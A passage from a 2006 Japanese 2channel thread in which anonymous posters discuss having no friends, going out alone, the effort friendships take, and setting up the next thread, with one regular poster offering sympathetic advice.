861 :ピエロ:2006/04/03(月) 19:44:26 ID:Nq1owWq3
>>851>>845

>>854
ピエロは荒らしているつもりは毛頭ないよ。確かに>>825あたりからはピエロの一人舞台
だった感が否めないし、他の人が書き込めない空気を作り込んでしまったのは悪いとは
思うけどサァ。出て行けとは少し寂しい。

>>855
ついにピエロもWANTEDですかってのは冗談で。
かまってくれなくて別にいいよ。

>>856
別にどうでもいいことなんですけどね。
改行もっと勉強するサァ。ありがと。

862 :ピエロ:2006/04/03(月) 20:07:42 ID:Nq1owWq3
>>857
サァ?ピエロもわからないところですが。
ですがピエロのことで他の人が書き込めない雰囲気をつくってしまうのも
いけないことですし、くだらないことでこのスレを汚すわけにもいけない
からサァ。なるべく抑えるようにしますかな。

863 :マジレスさん:2006/04/03(月) 22:34:51 ID:RLi+jywe
>>860-862
このレス間に「ピエロ」という語句は名前欄も含めて
計15回登場している。彼一人でスレを1から1000まで埋め立てた場合、
都合500回のピエロが登場するという計算だ。

これは一体どういうことなのか?

生物学に詳しい北里大学教授の鎌倉武治博士によれば
驚くべきことに、しばらくこの3レスをボケーっと眺めていると
だんだん「ピエロ」の綴りが「エロ」に見えてくるという。

   実 験 開 始
  Experimental Start

864 :マジレスさん:2006/04/04(火) 01:59:58 ID:NeY8pLHW
ピエロさんは名無しに戻られたらどうでしょうか?
そして一度下書きしてサァーを消してから書き込んでください。
このスレで真面目に議論してたのを荒らす人もどうかと思うけど、それに悪乗りしてるピエロさんも他の人が入りにくい雰囲気を作ってるわけだから反省してほしい
せめて、コテで書くなら荒れないように下げ進行くらいマナーです。

865 :ルカ@携帯:2006/04/04(火) 10:28:30 ID:Yd7o9IEZ
うん、それがいいね

「サァ」はかなり読みにくいけど、ピエロさんに悪意があるとは思えないし
(むしろおれよか温厚な人間に見える)、
出て行く必要ないよ。
叩いてる奴も叩き過ぎw

普通に書くだけでいいよ。
意思疎通さえ滞りなくできれば、
名無しにするもハンドル変えても変えないでも
どっちでもいい。

相手に読んでもらえなかったら
ピエロさんが損するでしょ。


866 :マジレスさん:2006/04/04(火) 11:28:36 ID:oclr8/kd
一人が好きな人、私だけじゃなかった!
ちょっと安心した。

867 :マジレスさん:2006/04/04(火) 11:41:41 ID:Byz4gQYR
むしろ映画は友人全員、上映中に話しかけてくるやつばっかりだから
一人映画ばっかだよ…。
買い物も一人で色々じっくり悩みながら買いたいから
興味ないものに付合わせるの悪いし。
旅行は一人だと終日寝てそうだから、流石に友人と行くけど。

868 :マジレスさん:2006/04/04(火) 11:45:50 ID:iXlVZl4f
映画や旅行は友達とじゃないと嫌だなぁ
でも買い物は友達とは嫌だなぁ
特に女との買い物はタチ悪い

869 :マジレスさん:2006/04/04(火) 12:11:38 ID:qm1sJpfh
一人がいい・・
友達がいなくてしょうがなく、一人なのではなくて
一人がいいから・・・・なんていい響きなんだ


次スレ
友達いるけど、一人がいいからいつも一人でお買い物。

870 :ピエロ:2006/04/04(火) 12:42:01 ID:FGOSAzgl
>>864 >>865
はい。おっしゃることはごもっともです。ピエロはみんなにかまってもらえるから
舞い上がってました。ゴメンね。それにピエロのせいで書き込めなかったみなさん
ゴメンね。とりあえずピエロは消えます。それでは。

871 :マジレスさん:2006/04/04(火) 12:54:41 ID:o+9OElYi
俺たちはとんでもない思い違いをしていたのかもしれない。

中国の古事記に「出る杭は打たれる」という一説がある。
世紀末以降の世界の行く末を綴った予言書であるという説が本当なら
このセンテンスはこうも読み取ることができる

「出る杭は打たれる」このスレにおける「杭」とは、当然ピエロ氏のことだ。
つまり「出るピエロは打たれる」と言うことになる。

これを新約聖書ヨハネの黙示録の手法を用いて読み替えるとこうなる

「デルピエロは打たれる」

つまり、このスレに登場するピエロ氏というのは
ユベントスのアレッサンドロ・デルピエロのことだったんだよ!!!!

872 :マジレスさん:2006/04/04(火) 13:13:21 ID:9SGKcsMa
友達いないと遊びにクロウするね・・・でも友達いるとなんか
関係の維持にクロウするし、うざく思えて独りになりたくなる
でも1人だとさびしくなり友達が欲しくなる。でも1人が好き
ああどうしたいんだろうか・・・わけわかめこんぶ

873 :マジレスさん:2006/04/04(火) 13:17:22 ID:siGSoOhW
適当なスタンス置いてつきあえないのか?

別に友達いるからっていつも誘わないといけないとか
一緒にいないとならないってのはないし


874 :マジレスさん:2006/04/04(火) 13:57:52 ID:9SGKcsMa
1人の人は人間関係に悩まなくていい。同姓同士、異性間、先輩後輩
わずらわしいものはない

875 :齋藤(ニューハーフ):2006/04/04(火) 16:17:16 ID:Ze7lD5Pk
>>874
一人の時間も貴重だよ
だけど孤独のときはどうしたらいいんだ?

一人の人は人間関係でも人を傷つける人が多いよ
人のことを考えて生きていないんだもの


876 :マジレスさん:2006/04/04(火) 18:14:51 ID:27ddCYhb
>>873
かといって距離置こうとするとあっという間に疎遠になっちゃうんだよ。
友達多い人は「連絡はまめに」って言うけど、そういうルーティンワーク自体が
面倒くさいんだよな。「いつも誘わなくちゃいけない」くらいの気持ちで取り組まないと
絶対に維持できないんだ。それが自然にできる人がうらやましいよ。

877 :マジレスさん:2006/04/05(水) 08:33:25 ID:9f3gIqZK
よく分からないけどむかつく

878 :マジレスさん:2006/04/05(水) 18:02:17 ID:cowIMlYF
一人旅とか最高やんッ★
ロマンチックやし、GO ING My WAY って感じが◎。でも、オーストラリアとかハワイとかは友達3、4人くらいではしゃぎたい…。
あと、オーロラとか絶景は恋人と見たい…。
それから、映画は友達と行きたいッ!!
でも買い物とかは、絶対、一人がいいよッ!!
時間気にしなくていいし、ふりまわされなくていいし…。

879 :マジレスさん:2006/04/05(水) 20:31:54 ID:/s/67td9
>>878
初心者は半年ロムりましょう

880 :ルカ ◆IOAAALucaM :2006/04/06(木) 01:09:46 ID:InThezNY
>>799齋藤(ニューハーフ)さん
「イヌを飼いたまえ」でした。
格言なんかじゃ、孤独の解決には無力だと感じたがw、
孤独かどうとか関係なくイヌは将来飼ってみたいな。

ネコもいいんだが、あいつはせっかく一緒に寝てやろうってのに、
勝手気ままにプイとベッドからすぐに抜け出すし、ツマンナイ(´(・)`)
もっと(((((っ−_−)っカマッテくでよ・・・

タコさんウィンナー いい(≧∇≦)b 彼は幸せ者だね〜
男子としてはかなりやられるアイテムだと思われwww

>>809
会社にはいろんな慣習があるよね。いいものも悪いものも。
協調性なしなおれはいろんなルール破りまくりで、
新しいルールを強制的につくって全員に従わせようとしたら、
管理職に「ちょっと会議室に来てください」って呼び出しくらったり(;´Д`)
数が多い意見の方がみんなから同意を得やすいし、楽だよな〜
みんながAと言ってるときに自分もAと言うのは楽だ
Aが苦痛なとき不合理だと思えるときに、Bにしろよって言うのは非常に疲れる...

能書き多くなったが、他の部分で(仕事その他で)周りの人にメリットを示せるようになれば、
多少のお目こぼしに預かれる、の法則を使うしかないよね。
誰でも、いつも自分に協力してくれる人に対しては、多少は目をつぶってくれる...はずw
同じことをやっても叩かれる人と見逃される人が出てくるのはそういう違いだと思うし。
人徳の低いおれは損な立場に回ることも多いガナー(´▼`)

881 :ルカ ◆IOAAALucaM :2006/04/06(木) 01:10:30 ID:InThezNY
>>817
自分は回避性人格障害か? っておれは思うころがあったのだけれど、
そういうときはいきなり友達を増やすというよりは、
自分と似たような悩みをもった人と身の上話をし合ったり、
辛さをおたがいに共感する機会をもてればずいぶんと楽になれるものだよ。
友達をつくるのはそのあとでもいいんじゃないだろうか?

無差別に誘った相手とは話題の提供にも手探り状態で戸惑うけど、
その一方で、同じ悩みをもった人となら絶対確実に共通の話題があるでしょ?

>>834ももさん
こんばんは〜
ももさんは、一人でいることと人に合わせることを天秤にかけたら、
前者のほうが勝つんですよね。
おれも会社の中に限ってはそうです。やりたいことがたくさんあるのに、
人が食べ終わるのを待つなんてとてもできない。
おれが食べ終わるまで、他人に待たれるのもイライラする!!(←協調性なし)
いつまでもダラダラとつまらない話に付き合わされるのは我慢がならない。
えり好みし過ぎなのか、社内ではほとんど相性の合う人間もいないし。

でも不思議と社外の人間とは、上のようなイライラはないんだなあ
なんでだろ... 心理的距離が近いと寛容になってあげられるのだろうか?
というか、社内の人間に厳しすぎるんだな、うんたぶんこれが正解だw

882 :ルカ ◆IOAAALucaM :2006/04/06(木) 01:11:02 ID:InThezNY
>>848
おそらく疑問符が頭の周りにたくさん浮かんでるんだろう。
文章読んだが、たぶんキミにはこのスレ住人の葛藤は理解できないだろうな。

883 :マジレスさん:2006/04/06(木) 01:18:27 ID:+J8dWdeF
一人で と 独りで じゃ違うよね。
一人の時間も大事。でもそれを独りで淋しいと思う人もいるんだろうね。
でもそれくらい自分で解決しようよ

884 :ルカ ◆IOAAALucaM :2006/04/06(木) 01:22:23 ID:InThezNY
しんにゅうせいのぼくたち わたしたち にゅうがく おめでとうございます。

さくらの はなが きれいに さいていますね。

せんせいも このきせつになって あたらしく がっこうにはいってくる あなたたちをむかえられて

とても うれしく おもいます。

みなさん はじめてあう どうきゅうせいと なかよくして いっぱい ともだちを つくってくださいね。

だいじょうぶ せんせいは しんぱいしていません。ほとんどの みんなは すぐに ともだちが できますからね。

でも なかには いつまでたっても おともだちが できない かわいそうなひとが います。

きょうは ひとつだけ ほんとうのことを はなしておきましょう。

ともだちが いなくて いつも グラウンドで ぽつんと たってる さみしそうなひとを みつけたら

みないふりをして すぐに そのばから はなれましょう。

みんなで かわいそうだねって からかって あげるのも とっても たのしいことですが

おとなになってから ふくしゅうされるかも しれないから きをつけましょうね。

885 :ルカ ◆IOAAALucaM :2006/04/06(木) 01:23:04 ID:InThezNY
ともだちがいない だれにもしゃべりかけられない ひととは おともだちに なっては いけません。

なぜかというと あなたも くらすの みんなから くちをきいてくれなく なってしまうからです。

そんなことになったら あなたの おとうさんも おかあさんも かなしんでしまいます。

くるしむひとは すくないほうが いいのです。

そんなひとは いないことにして ほかのみんなと たのしく ぶらんこで あそびましょうね。

おおくのみんなが たのしい がっこうせいかつを おくれれば それでいいのです。

わかりましたか?

いやな はなしをして ごめんなさいね。でも あかるく たのしく おおごえで わらってしまえば

ふきどんでいきます。それでは せんせいのあとに まねして おおきな こえで わらいましょう。

「わーっはっはっは!!わーっはっはっは!!」

「わーっはっはっは!!わーっはっはっは!!」

ほら なんとなく たのしく なってきましたね。

これからはじまる しょうがっこうのせいかつを たのしく すごしてくださいね。

きょうは にゅうがく おめでとう。

886 :マジレスさん:2006/04/06(木) 01:23:31 ID:HcC2xTbZ
一人でもいいと思うのだが
彼女ができたときに友達一人もいないのがバレてひかれたり
結婚式のとき呼ぶ友達がいないと寂しいなと思う

887 :マジレスさん:2006/04/06(木) 01:23:55 ID:oNts6fnx
私いつも一人ーっ
でも全然幸せじゃん☆
友達なんていらないし

888 :マジレスさん:2006/04/06(木) 01:27:50 ID:WEdVwRCM
886 こいつ、めっちゃ核心突いてる!!!

889 :886:2006/04/06(木) 01:39:02 ID:HcC2xTbZ
やっぱりオレ以外でもいたかw


890 :マジレスさん:2006/04/06(木) 01:43:31 ID:oNts6fnx
友達いなくてもひかなくないー?

891 :ルカ ◆IOAAALucaM :2006/04/06(木) 01:50:31 ID:InThezNY
年度が変わって、仕事も増えて、時間が足りない。
このスレはいまのスレで終わらせようかな。
本当は、仕事なんかしないでw
もっと言いたいことをまとめて書きたいところ...

スレがどうなっても、>>1の掲示板は消したりしないで継続します。
新規の人にも必ず返事をするとなると、>>1の派生掲示板に集中したほうがいいかな...

>>886-890
友達がいないことを知るや否や、引く人はいますよ。
引くだけならまだしも、軽蔑する人も。たとえ恋人であっても。
友達がいなくても(非常に少なくても)認めてくれる心の広い人も中にはいる。
そういう事実を知ることができたのは、
この3年くらいの間の大きな発見でもあり、おれの生きる意欲wがゼロにならないで済むために必要なことだったよ。

892 :マジレスさん:2006/04/06(木) 01:54:10 ID:oNts6fnx
そうなんだ
ルカさんありがとう

893 :ルカ ◆IOAAALucaM :2006/04/06(木) 01:58:54 ID:InThezNY
いえいえこちらこそ( ´∀`)

894 :マジレスさん:2006/04/06(木) 08:42:57 ID:Qc0MW4rh
>>891
IDがIn The NYに見える

スレは続けようよ。
なんだかんだでいい流れではあるし、同じような気持ちの人、けっこうまだ多いんじゃない?
必ずしもルカさんが全レスする必要はないし、その辺のところはみんながそれぞれ
なんとかやってくれるよ。

このスレがきっかけで向こうのご新規さん(ROM含む)につながることもあると思うし。
もしなんだったら950くらいまで行ったら立てようか?

895 :マジレスさん:2006/04/06(木) 09:19:22 ID:9NDEYuWL
>>891
友達が少なめと いない

では大きな隔たりが有りますよ

いないでは引く。普通引く
が、少なめで引く人はいない

896 :マジレスさん:2006/04/06(木) 18:34:43 ID:NAU38gn+
俺は15年間引きこもりなんだから居なくて当然
でも自分では社交的だと思ってるから(O型だし)キッカケさえあればなんとかなるはず

897 :マジレスさん:2006/04/06(木) 23:34:31 ID:h0e4ZHEt
>>895
俺もほとんど友達いないからかもしれないけど、
別に友達いないからって引かないよ。

確かに隔たりはありそうだけどね

898 :マジレスさん:2006/04/07(金) 06:17:25 ID:aiw+6ceP
人をモノとして扱いたくない
人にモノとして扱われたくない

これが友達できない最大の原因。ごちゃごちゃ人間関係を重く考えて
悩んだ挙げ句めんどくさい傷つきたくないから一人に。
一人買い物最高だがキャッチが最大の苦痛。
気持ち悪い。一人で歩いてんだからドカドカ土足で話かけてくんな。
キャッチの男なんて目腐りそうな奴ばっかだ。
気分よく歩いてんのに一気に目も耳も腐るんだよ!氏ね!何様だお前

899 :マジレスさん:2006/04/09(日) 01:55:03 ID:7ctNfPjB
会話は得意ではないが学校では普通にいろんな人と喋ったりするけど
今までほとんど遊びに誘われたことない
あってもせいぜい人数あわせ
一人でよく出掛けるし親に友達いないんだって同情されないために
友達と遊ぶといって一人で一日中どこか遠くへブラブラする
ただ誰かにあったらいけないから若者向けの繁華街とかにはいけない
と言うか怖くていけない
もうなんかどうしたらいいのかな俺
知り合いから軽い友達くらいの人間関係しか築けない
なんか深すぎる関係とかは気持ち悪い感じがする
だから親友が一人でいつも一緒とかは苦手
でも普通に誘ったり誘われたりする友人達がほしい
学園モノのギャルゲーは楽しいな


900 :マジレスさん:2006/04/09(日) 03:36:25 ID:KVTWaA6u
>>899
最後の1行以外は俺と一緒だな。

901 ::2006/04/09(日) 19:03:01 ID:p79qdNc3
学園物のエロゲー好きだぜ俺

902 :マジレスさん:2006/04/09(日) 19:30:20 ID:XDFV8FdI
自分をカスですって言ってるようなもんだな

903 :マジレスさん:2006/04/09(日) 23:39:17 ID:47l/i6ph
今週末も誰とも会わなかった 友達いない

904 :マジレスさん:2006/04/09(日) 23:46:24 ID:wtMbOssH
映画とか一人で観てみたいな。逆に楽しそうだ… 一人で行く勇気がない。
買い物とかなんかは、一人でも平気だけど

905 :マジレスさん:2006/04/10(月) 00:25:12 ID:DmDarLXZ
映画の一人はいいと思う。連れのいびきをきかんでいいから。

906 :マジレスさん:2006/04/10(月) 00:31:23 ID:d0BCzwOa
彼女がいるとうざいけどいないと寂しい。

907 :マジレスさん:2006/04/10(月) 00:33:38 ID:PDqXbtVo
贅沢な悩みだな

908 :マジレスさん:2006/04/10(月) 00:35:02 ID:vr2bnboi
結構友達は多いような気がするんだけどなんていうかどれも浅い
誘いたいけど断られたらなんか嫌だから誘えない
でも自分はほとんど誘われない
長期休業中とかほとんど家で一人。でも飽きるから一人で外出

909 :マジレスさん:2006/04/10(月) 00:40:30 ID:uTCzDw7c

私は、他人と居ると、気を遣い過ぎて疲れる、結局何も楽しめてなかった。
しんどい思いをして無理して一緒に居るなら、1人のほうがいい。
2年前に、全ての人間関係断ち切って、何処に行くのも1人にしたら
凄く快適で気楽なことに気づいた。

今では立派に「おひとりさま」生活送ってます。
1人で行けない場所は、焼肉屋さんくらいw


910 :マジレスさん:2006/04/10(月) 00:52:49 ID:JISDlco/
友達は多少いるけど、一人の方が全然がいい。
だけど親に友達がいないと思われるのはなんか嫌だ。

911 :マジレスさん:2006/04/10(月) 01:10:57 ID:njUxMe0h
友達なんて居なくても結婚式したけど?
さすがに国内で挙式するとなると呼べないのはヤバイが。
俺は居ないのがばれたくないから海外のチャペルで挙式した。


912 :マジレスさん:2006/04/10(月) 10:09:07 ID:MZ+WWbo7
平日の空いてる映画館でスターウォーズ見たんだよ
もちろん友達いないからひとりでな
誰に気兼ねする事なく、のんびりとふんぞり返って見る映画は最高に楽しかった


913 :マジレスさん:2006/04/10(月) 21:30:59 ID:4Xd6ankT
>>904
俺もほとんど一人で行ってるけど('A`)新作初日は結構一人で来てる人多いよ。
まぁ、もちろん複数人で来てるヤシ(というかカプル)の方が断然多いけど。

914 :マジレスさん:2006/04/11(火) 11:35:34 ID:wE0q5Nek
彼氏いようが友達いようがひとりでみちゃうけどなぁ

915 :齋藤(ニューハーフ):2006/04/11(火) 18:05:42 ID:R54RRmbs
友達ができる場所ってどこでしょうか。



916 :遠藤:2006/04/11(火) 19:19:02 ID:hPb2p7+V
知り合いは場所を問わず、いつでも作る機会が与えられていると思います。

でも友達は、何か共体験を経験しないと出来にくい気がします。

自分が他人と知り合い止まりの関係しか結べないのは
自分勝手・一人行動中心で、人と行動するのを避けてきたからだと思います。
人と行動して何か似た価値観を共有しないと友達にはなれないよ。




917 :マジレスさん:2006/04/12(水) 15:34:48 ID:yZWgJmmM
今朝電車で、中学時代の友達にいきなり話しかけられて驚いた。
当時は仲良くて、毎日のように遊んでたんだけど、もう何年も全く連絡は取ってなくて、高校辞めたり色々あって、成人式も行ってなかったから、色々聞かれて正直面倒くさかった
適当にすまそうと嘘つきまくったし…
オマケに今度一緒に飯でも行こうとか言い出して、アドレス聞かれた
メールきたらどうやって断ろうか今から考えてるよ……
ホントしょーもねえ

918 :マジレスさん:2006/04/12(水) 15:48:36 ID:h+P1oDUg
>>917
いろいろあってさ、で流しちゃったりとか・・・(´・ω・`) シ

919 :マジレスさん(7日目):2006/04/13(木) 15:44:20 ID:VwXveAoi
記念カキコ!

920 :マジレスさん:2006/04/13(木) 18:05:31 ID:7GvGBMtW
何の記念?

921 :齋藤(ニューハーフ):2006/04/13(木) 20:22:15 ID:kPWiXRTX
>>916 遠藤さん
レスありがとう。

>人と行動して何か似た価値観を共有しないと友達にはなれないよ。

そうだ。
その条件で友達にならないと長く付き合える関係にならないばかりか話も合わないだろう。
私には友達が出来ないような気もする。
責任転嫁じゃないが私が育った家庭環境も友達が出来ない原因のひとつかもしれない。
自分には人と価値観を共有できる器もない。

922 :ルカ ◆IOAAALucaM :2006/04/14(金) 01:09:33 ID:yTvcRvUu
>>894
ほんとだw> in the NY

まだ894さんは見てるかな? 親切にどうもありがとう。
好意に甘えて、スレ立てをお願いしてもよいかな?

個人的なことを言えば、ネット上の希薄な関係だけでは、自分の問題は解決しなかった。
ネットでのやりとりは意見をもらえたりしてとてもありがたいし、
これがなかったら日々の精神が崩れるのを止めることはできなかったと思う。(今も)
でも、リアルで会える友達が増えなきゃ何の意味もない。

だから、いずれはリアルでの人間関係に発展できると淡い期待を抱きなら、いろいろやってみた。
なるべくいろんな人に会って、ありがたくもオフにつきあってくれる人もいたし(*_ _)人、
運悪く遠くに引っ越してしまったりしながらも、
個人的に遊んでくれる貴重な人もほんのわずかにできつつある。

いかんせん打率が低いんだなあw いまの消費税率より低いんじゃないか?
やりはじめてからもう3年も経ってしまった。
少し縮小して、やるべきことやらなくては...

当初は、ネットで仲良くなればそのままリアルでも友達として長い関係が続くんだろうと思ってた。
これ大きな間違いw 自分にとっては、そうは甘くはなかった(つД`)

スレは今後も見続けると思う、愛着が湧いてしまっているし。
ついでに、また孤独感に苛まれたら、スレに愚痴をこぼしに来ますw

> このスレがきっかけで向こうのご新規さん(ROM含む)につながることもあると思うし。
そうだね。そうだとありがたい。>>1の掲示板は続けるつもり。
馴染みの人たちばかりの書き込みが目立って、もしかすると入りにくい雰囲気になってるかもしれないけど、
ご新規の人が何か書いくれたら、基本的に必ずお返事します。
スレを立てたときに、その旨を追加してくれると嬉しいです。
下にテンプレ貼っておきます。

923 :ルカ ◆IOAAALucaM :2006/04/14(金) 01:10:47 ID:yTvcRvUu
友達いなくて買い物・映画・旅行いつも一人■その5 のテンプレ

>>1に貼る
−−−−−−−−−− キリトリ −−−−−−−−−−−
一人で過ごす時間も楽しいし気楽だけど、
もっと人との関わりで満たされたい、なんだか淋しいとつぶやくスレです。

・つるんだり群れるのは苦痛だが、信頼できる人間関係は築きたい。
・協調性を強いられると、たいへん疲れる。
・一人で行動する人間を糾弾する社会に嫌気がさす。
・孤独で気が狂いそうになったことがある。
・対人スキルはあるが、人間嫌いだ。人を信用してない。
・人と仲良くしたいが、引っ込み思案で自分が嫌になる。
・なんだかようわからんが、友達が欲しい。

などなど、友達およびその周辺事項について語り合いたいです。


★派生掲示板

馴れ合いっぽいやりとり、もう少し濃密なやりとりをしたくなったら、
お気軽に下の掲示板へお越しくださいщ(゚▽゚щ)
基本的にスルーは致しません。

【友達が】ルカの人生相談掲示板【欲しい】
http://otd10.jbbs.livedoor.jp/1000010474/bbs_plain
−−−−−−−−−− キリトリ −−−−−−−−−−−

924 :ルカ ◆IOAAALucaM :2006/04/14(金) 01:12:27 ID:yTvcRvUu
>>2に貼る
−−−−−−−−−− キリトリ −−−−−−−−−−−
★過去スレ

友達いなくて買い物・映画・旅行いつも一人
http://life7.2ch.net/test/read.cgi/jinsei/1102246303/
http://makimo.to/2ch/life7_jinsei/1102/1102246303.html

友達いなくて買い物・映画・旅行いつも一人■その2
http://life7.2ch.net/test/read.cgi/jinsei/1123521212/
http://makimo.to/2ch/life7_jinsei/1123/1123521212.html

友達いなくて買い物・映画・旅行いつも一人■その3
http://life7.2ch.net/test/read.cgi/jinsei/1128280405/
http://makimo.to/2ch/life7_jinsei/1128/1128280405.html

友達いなくて買い物・映画・旅行いつも一人■その4
http://life7.2ch.net/test/read.cgi/jinsei/1139499500/
(倉庫入り後)
http://ime.st/makimo.to/2ch/life7_jinsei/1139/1139499500.html
(倉庫入り前)
http://makimo.to/cgi-bin/dat2html/dat2html.cgi?life7/2/jinsei/1139499500/
−−−−−−−−−− キリトリ −−−−−−−−−−−

925 :ルカ ◆IOAAALucaM :2006/04/14(金) 01:16:50 ID:yTvcRvUu
>>894
それでは誠にお手数ですが、よろしくお願いします(*_ _)人

926 :マジレスさん:2006/04/14(金) 01:41:40 ID:FX9qR7Lm
私も人と一緒にいると気を遣って、疲れてしまいます。一人でゆっくりしたいし、食べ物も一人で味わいたい。でも最近不安に襲われます、このままでいいのかって。もういい年なので周りは結婚するし、誰とも分かり合えないのかな..

927 :ルカ ◆IOAAALucaM :2006/04/14(金) 01:50:16 ID:yTvcRvUu
一人の時間を尊重してくれる誰かを見つけたいところですね。

公共の場ではみな社交性の高さを演じがちだけど、926さんみたいなことを腹の中で考えている人はけっこういるんだよね。
ただしやっぱりそういう人とはとくに公共の場では交信不能というか、いたとしてもなかなか仲良くなれる機会が少ない。
おたがいの悩みを正直に示せる、ちょっと人工的につくられた空間で探すのが、楽かもしれないですね。

928 :マジレスさん:2006/04/14(金) 02:05:33 ID:5nYKiJOF
ルカさん、レスありがとうございます。そうですね、私は仕事など人前では違う自分を演じてます。最近はそれに疲れてしまって、休みの日は家から一歩もでなかったり、ひたすら寝たり。でもそうしないと自分がもたない。私は人と深く関わりをもてないのかもしれません。

929 :ルカ ◆IOAAALucaM :2006/04/14(金) 02:26:26 ID:yTvcRvUu
あ、久しぶりにスレで会話できて嬉しいですw

仕事上の人付き合いではしょうがないですよね。
多少、本音を抑えてふるまわなくてはならない場面も多いし。
本当の自分をおさえてばかりだと疲れてしまうのも、もっともだと思いますよ。

社会が期待する言動をし続けてもそれほど傷つかない人が多い一方で、
どこか本当の自分とのズレに悩む人もおれを含めてここにはいると思う...

休日はグッタリしてしまうみたいで、あまり仕事で無理はしないでくださいね。
いくら公的な場面でも、限界を超えてまで無理しないほうが...
たまには適当にw

付き合っても楽に過ごせる人が現れてくれればいいですね、
それを探すためのコストや苦労が必要だとしても...
まあプライベートでの人付き合いにも疲れてしまうなら、
ネット上で自分を理解してくれる、痛みをわかってくれる人と交流できたら少しは楽になれるのかな。

930 :マジレスさん:2006/04/14(金) 02:37:36 ID:Le8F9gxV
あ、私も会話できて嬉しいです(笑)人付き合いは難しいです。関わりが深くなるほど、自分を犠牲にしがちで以前体調を崩した事もありました。今は深い関わりを持ちたくない、でも焦る。本当はもっと器用に生きたいし、人をうらやましく思う。..ほんと矛盾した人間です。。

931 :マジレスさん:2006/04/14(金) 02:49:00 ID:lktAscDD
>>930ですが、ルカさんとお話したいときは掲示板に行けばいいのですか?教えて下さいー 失礼いたしました。

932 :ルカ@携帯:2006/04/14(金) 03:20:12 ID:W0bAQ3vA
パソコン切っちゃってからレスに気付きました(汗)

>>1の掲示板なら欠かさずチェックしてて、
遅れても必ずお返事するつもりでいますよ。

お話したいとは光栄ですm(_ _)m ありがとう〜
よかったら来てくださいね。
930さん以外の方も。


933 :894:2006/04/14(金) 19:18:26 ID:VOoF4hQ8
950待たずに立てた。
ルカさんテンプレ丁寧にありがとう

◇ 友達いなくて買い物・映画・旅行いつも一人■その5
http://life7.2ch.net/test/read.cgi/jinsei/1145009756/

934 :ルカ@携帯:2006/04/14(金) 20:25:21 ID:W0bAQ3vA
894さん、ありがとう
助かりましたm(_ _)m


935 :マジレスさん:2006/04/14(金) 20:58:33 ID:iweojuV1
今高校二なんだが友達が一人もいないです……このまま一人でもいいのかな??時々すごい寂しくなる。。いつも会話がとまってそしてみんな離れていきます…… 大人になってから人とつきあえるかかなり不安で…こんな漏れはきえたほうがいいのかな……………

936 :マジレスさん:2006/04/14(金) 21:05:25 ID:9J364N5S
>>935
奇遇だな、俺も現在高2だ。

俺はクラス変えて、仲のいい友達と離れてしまってな。
他の奴に話しかけづらいし、なかなか友達出来なかったんだが、
誰もやらない学級委員に立候補したら、英雄扱いされて、
みんなに注目されて、それで何人か話しかけてくれたから、
そこから友人が出来た。

どんな屑だろうと、消えた方が良いわけは無いと思うがな。

937 :マジレスさん:2006/04/15(土) 00:40:32 ID:gGaQQq0b
大人になると、仕事の知り合いだけで
孤独は深まるよ。

一人が好きなおいらは、全然平気で居るが
寂しいひとは結婚して家族作るとか
早々味方を見つけてるみたいだよ。

938 :もも:2006/04/15(土) 01:30:35 ID:2gnwJwM2
ルカさん、おひさしぶりです
なんか色々書きたいなと思ったけどなんだか言葉がまとまりません。
いつか、良い時間が共有できる魂の片割れができるといいですね。
この世界の片隅で祈ってます。

あまり人間が好きではない私が一期一会を考える時
偶然ではない何かを感じることがあります。
苦手な人や怖い人も、その一瞬だけでも愛しくなるのは何故なのでしょうかね。
世界にはたくさん人がいるのに彼らと私が出合った奇跡。
ルカさんやこのスレとの皆様との出会いも少なからず感動をするのです。
もしかしたら、私が悩みを吐き出している対人関係の人がまた
このスレで悩みをぶちまけているような遠いような近いような親近感です。
たぶんどんな出会いも無駄ではないと思うのです。
一瞬だけの付き合いでも無駄なものはないと。
だけど、どんな出会いも必ず別れはあると思う。
死での別れもある限り、必ず終わりは訪れる。例え家族になっても。
自分自身との別れもいつかくる。刹那主義ですがそう思うのです。
だから、出合った時間は大切に過ごしたいと思うのです。
自分自身も周りも存在する限り愛していきたいなあと思うのです。
人間嫌いのままでしょうけど、個人はなるべく大事にしていきたいです。

私もこのスレをちょくちょくのぞくつもりです。
ルカさん、どうかお元気で。
皆さんも希望の明日に出会えますように。

939 :ルカ ◆IOAAALucaM :2006/04/21(金) 01:52:49 ID:qAQVCtn5
>>938ももさん

ももさんが書いてくれたときに読んではいたのですが、
どうまとめていいのか躊躇ううちに日数が経ってしまいました(*_ _)人

ももさんとここで言葉を交わせたのは、ただの偶然として片付けられない気がします。
それはももさんではない無数の人についても同じ。
オフで出会えた人たちも然り。

ここで受けた刺激がなかったら、オフで会った人ともし会えなかったら、
確実にその後の未来(現在を含む)は変わっていたでしょう。

おれもスレは生温かく見守るつもりですw
いつも丁寧なレス、ありがとうございました。

940 :マジレスさん:2006/04/28(金) 00:25:12 ID:iO+NCI0w
ゴールデンウイークなのに予定が何ひとつ無いよ。
もう6年になるよ
春休みも夏休みも正月も、少しも嬉しくないし楽しくない。


941 :マジレスさん:2006/04/28(金) 00:27:47 ID:dRUMIV7w
漏れはゴールデンウイークも仕事…


942 :マジレスさん:2006/04/28(金) 00:47:24 ID:oXu39sFC
来年に新卒社会人になるから、環境変わって友達出来るかなとか考えてたら寂しさがこみあげてきた。
孤独年数が長くても、こういう節目になると一人の方が気楽でいいやっていう考えより、人と関わりたいと思う気持ちが強くなる。
基本は一人が好きなんだけどね。

943 :マジレスさん:2006/04/29(土) 03:56:37 ID:a4eVaBhZ
私は体力ないから休日にはきちんと休まないと、倒れ・・。
体力があまっているなら、何かスポーツを習ってみたら楽しい気がします。


944 :マジレスさん:2006/04/30(日) 01:22:33 ID:ikhewazV
たしかに疲れやすい体質だと休日は休んで終わりになるよね。
なんかマイペースに楽しくやっていける人いないかなぁ


945 :マジレスさん:2006/04/30(日) 02:15:29 ID:80F6oYDs
よく考えたら、今までの俺には友達と呼べる人間なんていなかったかもしれん
たまーに遊ぶ仲の人だったら昔はいたけど、友人なんて呼べるほどの仲じゃなかったかも
先々月に学生を卒業して、今現在フリーター、高校時代はもちろん、今の職場にも友人なんざいない
孤独が当たり前になってきたかな・・・

946 :マジレスさん:2006/05/01(月) 02:08:27 ID:d5wNEm+N
今二十歳なんだけど、15で高校やめてから友達らしい友達はいない。
人付き合いに対する考え方もだいぶ変わって、少しでも面倒くさいと思ったり、自分の好きなように行動したい、とか思ったら友達なんか別にいらねぇやと思ってしまった。
でもよく考えたら、友達が普通にいた中学校の時とかって、友達付き合いなんかすんげぇ面倒くさい事だらけで、あいつうっとうしいから無視しよ、とかそんなんばっかりでした。
